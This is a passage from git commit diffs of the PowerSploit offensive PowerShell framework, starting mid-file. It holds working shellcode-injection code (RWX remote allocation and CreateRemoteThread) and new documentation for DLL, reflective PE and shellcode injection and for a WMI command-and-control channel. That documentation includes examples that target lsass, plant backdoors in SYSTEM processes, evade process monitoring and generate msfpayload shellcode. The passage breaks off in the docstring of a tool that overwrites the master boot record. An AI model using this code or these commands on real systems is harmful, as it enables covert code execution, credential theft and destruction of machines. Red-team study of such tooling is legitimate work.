ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL EAX } - + Write-Output $CallStub } @@ -185,7 +190,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - + if (!$hProcess) { Throw "Unable to open a process handle for PID: $ProcessID" @@ -197,7 +202,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Determine if the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - + if ((!$IsWow64) -and $PowerShell32bit) { Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' @@ -208,7 +213,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' @@ -219,7 +224,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode64 variable!' } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } @@ -230,19 +235,19 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteMemAddr) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory @@ -255,25 +260,25 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteStubAddr) { Throw "Unable to allocate thread call stub memory in PID: $ProcessID" } - + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space @@ -281,7 +286,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - + if (!$ThreadHandle) { Throw "Unable to launch remote thread in PID: $ProcessID" @@ -301,7 +306,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode32 variable!' return } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } @@ -312,36 +317,36 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode64 variable!' return } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } - + # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - + # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - + if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } @@ -351,7 +356,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw "Unable to allocate thread call stub." } - + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer @@ -366,7 +371,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) @@ -477,9 +482,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - + Write-Verbose "Injecting shellcode into PID: $ProcessId" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) { @@ -501,13 +506,13 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - + Write-Verbose "Injecting shellcode into PowerShell" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode into the running PowerShell process!" ) ) { Inject-LocalShellcode } - } + } } diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index 0c06424..9f03f9b 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -5,10 +5,10 @@ function Invoke-WmiCommand { Executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. -Author: Matthew Graeber -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -149,6 +149,9 @@ Write-Host in your scripts though, you probably don't deserve to get the output of your payload back. :P #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] [CmdletBinding()] Param ( [Parameter( Mandatory = $True )] diff --git a/docs/CodeExecution/Invoke-DllInjection.md b/docs/CodeExecution/Invoke-DllInjection.md new file mode 100755 index 0000000..d41bf31 --- /dev/null +++ b/docs/CodeExecution/Invoke-DllInjection.md @@ -0,0 +1,79 @@ +# Invoke-DllInjection + +## SYNOPSIS +Injects a Dll into the process ID of your choosing. + +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-DllInjection [-ProcessID] [-Dll] +``` + +## DESCRIPTION +Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-DllInjection -ProcessID 4274 -Dll evil.dll +``` + +Description +----------- +Inject 'evil.dll' into process ID 4274. + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject a Dll into. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Dll +Name of the dll to inject. +This can be an absolute or relative path. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Use the '-Verbose' option to print detailed information. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/CodeExecution/Invoke-ReflectivePEInjection.md b/docs/CodeExecution/Invoke-ReflectivePEInjection.md new file mode 100755 index 0000000..aee653d --- /dev/null +++ b/docs/CodeExecution/Invoke-ReflectivePEInjection.md @@ -0,0 +1,300 @@ +# Invoke-ReflectivePEInjection + +## SYNOPSIS +This script has two modes. +It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. +These modes have different parameters and constraints, +please lead the Notes section (GENERAL NOTES) for information on how to use them. + +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + +2.) Reflectively load a DLL in to memory of a remote process. +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. +Currently, you cannot retrieve output +from the DLL. +The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReflectivePEInjection [-PEBytes] [[-ComputerName] ] [[-FuncReturnType] ] + [[-ExeArgs] ] [[-ProcId] ] [[-ProcName] ] [-ForceASLR] [-DoNotZeroMZ] +``` + +## DESCRIPTION +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print +``` + +the wchar_t* returned by WStringFunc() from all the computers. +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Load DemoEXE and run it locally. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local + +## PARAMETERS + +### -PEBytes +A byte array containing a DLL/EXE to load and execute. + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Optional, an array of computernames to run the script on. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FuncReturnType +Optional, the return type of the function being called in the DLL. +Default: Void + Options: String, WString, Void. +See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: Void +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExeArgs +Optional, arguments to pass to the executable being reflectively loaded. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcId +Optional, the process ID of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcName +Optional, the name of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceASLR +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. +Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. +Other PE's will simply crash. +Make sure to test this prior to using. +Has no effect when + loading in to a remote process. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotZeroMZ +Optional, will not wipe the MZ from the first two bytes of the PE. +This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +GENERAL NOTES: +The script has 3 basic sets of functionality: +1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. +2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. +If remote output is needed, you must use a DLL. +CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. +3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). +This is the function that will be called after the DLL is loaded. + +DLL LOADING NOTES: + +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL +return a char* or wchar_t*, which PowerShell can take and read the output from. +Anything output from stdout which is run using powershell +remoting will not be returned to you. +If you just run the PowerShell script locally, you WILL be able to see the stdout output from +applications because it will just appear in the console window. +The limitation only applies when using PowerShell remoting. + +For DLL Loading: +Once this script loads the DLL, it calls a function in the DLL. +There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. +I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. +If the function returns char* or wchar_t* the script will output the +returned data. +The FuncReturnType parameter can be used to specify which return type to use. +The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. +Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. +To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. +You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +## RELATED LINKS + +[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/) + diff --git a/docs/CodeExecution/Invoke-Shellcode.md b/docs/CodeExecution/Invoke-Shellcode.md new file mode 100755 index 0000000..7240a4c --- /dev/null +++ b/docs/CodeExecution/Invoke-Shellcode.md @@ -0,0 +1,116 @@ +# Invoke-Shellcode + +## SYNOPSIS +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-Shellcode [-ProcessID ] [-Shellcode ] [-Force] +``` + +## DESCRIPTION +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. +To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/\[";\]//g;s/\\\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. +Also, don't bother encoding your shellcode. +It's entirely unnecessary. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Shellcode -ProcessId 4274 +``` + +Description +----------- +Inject shellcode into process ID 4274. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Shellcode +``` + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) +``` + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. +64-bit! + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject shellcode into. + +```yaml +Type: UInt16 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Shellcode +Specifies an optional shellcode passed in as a byte array + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Injects shellcode without prompting for confirmation. +By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/CodeExecution/Invoke-WmiCommand.md b/docs/CodeExecution/Invoke-WmiCommand.md new file mode 100755 index 0000000..23e7d9e --- /dev/null +++ b/docs/CodeExecution/Invoke-WmiCommand.md @@ -0,0 +1,311 @@ +# Invoke-WmiCommand + +## SYNOPSIS +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-WmiCommand [-Payload] [[-RegistryHive] ] [[-RegistryKeyPath] ] + [[-RegistryPayloadValueName] ] [[-RegistryResultValueName] ] [[-ComputerName] ] + [[-Credential] ] [[-Impersonation] ] + [[-Authentication] ] [-EnableAllPrivileges] [[-Authority] ] +``` + +## DESCRIPTION +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. +It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. +The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Hosts = Get-Content hostnames.txt +``` + +PS C:\\\>$Payload = Get-Content payload.ps1 +PS C:\\\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\\\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Payload = Get-Content payload.ps1 +``` + +PS C:\\\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose +``` + +## PARAMETERS + +### -Payload +Specifies the payload to be executed on the remote system. + +```yaml +Type: ScriptBlock +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryHive +{{Fill RegistryHive Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: HKEY_CURRENT_USER +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryKeyPath +Specifies the registry key where the payload and payload output will +be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: SOFTWARE\Microsoft\Cryptography\RNG +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryPayloadValueName +Specifies the registry value name where the payload will be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Seed +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryResultValueName +Specifies the registry value name where the payload output will be +stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Value +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Runs the command on the specified computers. +The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. +To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. +You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Cn + +Required: False +Position: 6 +Default value: Localhost +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +Specifies a user account that has permission to perform this action. +The default is the current user. +Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. +Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. +When you type a user name, you will be prompted for a +password. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Impersonation +Specifies the impersonation level to use. +Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +```yaml +Type: ImpersonationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, Anonymous, Identify, Impersonate, Delegate + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authentication +Specifies the authentication level to be used with the WMI connection. +Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +```yaml +Type: AuthenticationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged + +Required: False +Position: 9 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EnableAllPrivileges +Enables all the privileges of the current user before the command +makes the WMI call. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authority +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. +To use +NTLM, set the authority setting to ntlmdomain:\, where +\ identifies a valid NTLM domain name. +To use Kerberos, +specify kerberos:\. +You cannot include the +authority setting when you connect to the local computer. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 10 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +## NOTES +In order to receive the output from your payload, it must return +actual objects. +For example, Write-Host doesn't return objects +rather, it writes directly to the console. +If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. +:P + +## RELATED LINKS + diff --git a/mkdocs.yml b/mkdocs.yml index f18c644..8cc8a39 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -122,3 +122,9 @@ pages: - AntiVirus: - Functions: - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' +- CodeExecution: + - Functions: + - Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md' + - Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md' + - Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md' + - Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md' -- cgit v1.2.3 From a81faf36a4cdf925b4cb7cc1019648b37967e0bc Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:05:22 -0500 Subject: For ./Mayhem/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- Mayhem/Mayhem.psm1 | 180 ++++++++++++++++++----------------- docs/Mayhem/Set-CriticalProcess.md | 108 +++++++++++++++++++++ docs/Mayhem/Set-MasterBootRecord.md | 184 ++++++++++++++++++++++++++++++++++++ mkdocs.yml | 12 ++- 4 files changed, 391 insertions(+), 93 deletions(-) create mode 100755 docs/Mayhem/Set-CriticalProcess.md create mode 100755 docs/Mayhem/Set-MasterBootRecord.md (limited to 'docs') diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0baaf3e..5fbdde2 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -3,109 +3,109 @@ function Set-MasterBootRecord <# .SYNOPSIS - Proof of concept code that overwrites the master boot record with the - message of your choice. - - PowerSploit Function: Set-MasterBootRecord - Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - Set-MasterBootRecord is proof of concept code designed to show that it is - possible with PowerShell to overwrite the MBR. This technique was taken - from a public malware sample. This script is inteded solely as proof of - concept code. +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. This technique was taken +from a public malware sample. This script is inteded solely as proof of +concept code. .PARAMETER BootMessage - Specifies the message that will be displayed upon making your computer a brick. +Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately - Reboot the machine immediately upon overwriting the MBR. +Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force - Suppress the warning prompt. +Suppress the warning prompt. .EXAMPLE - Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES - 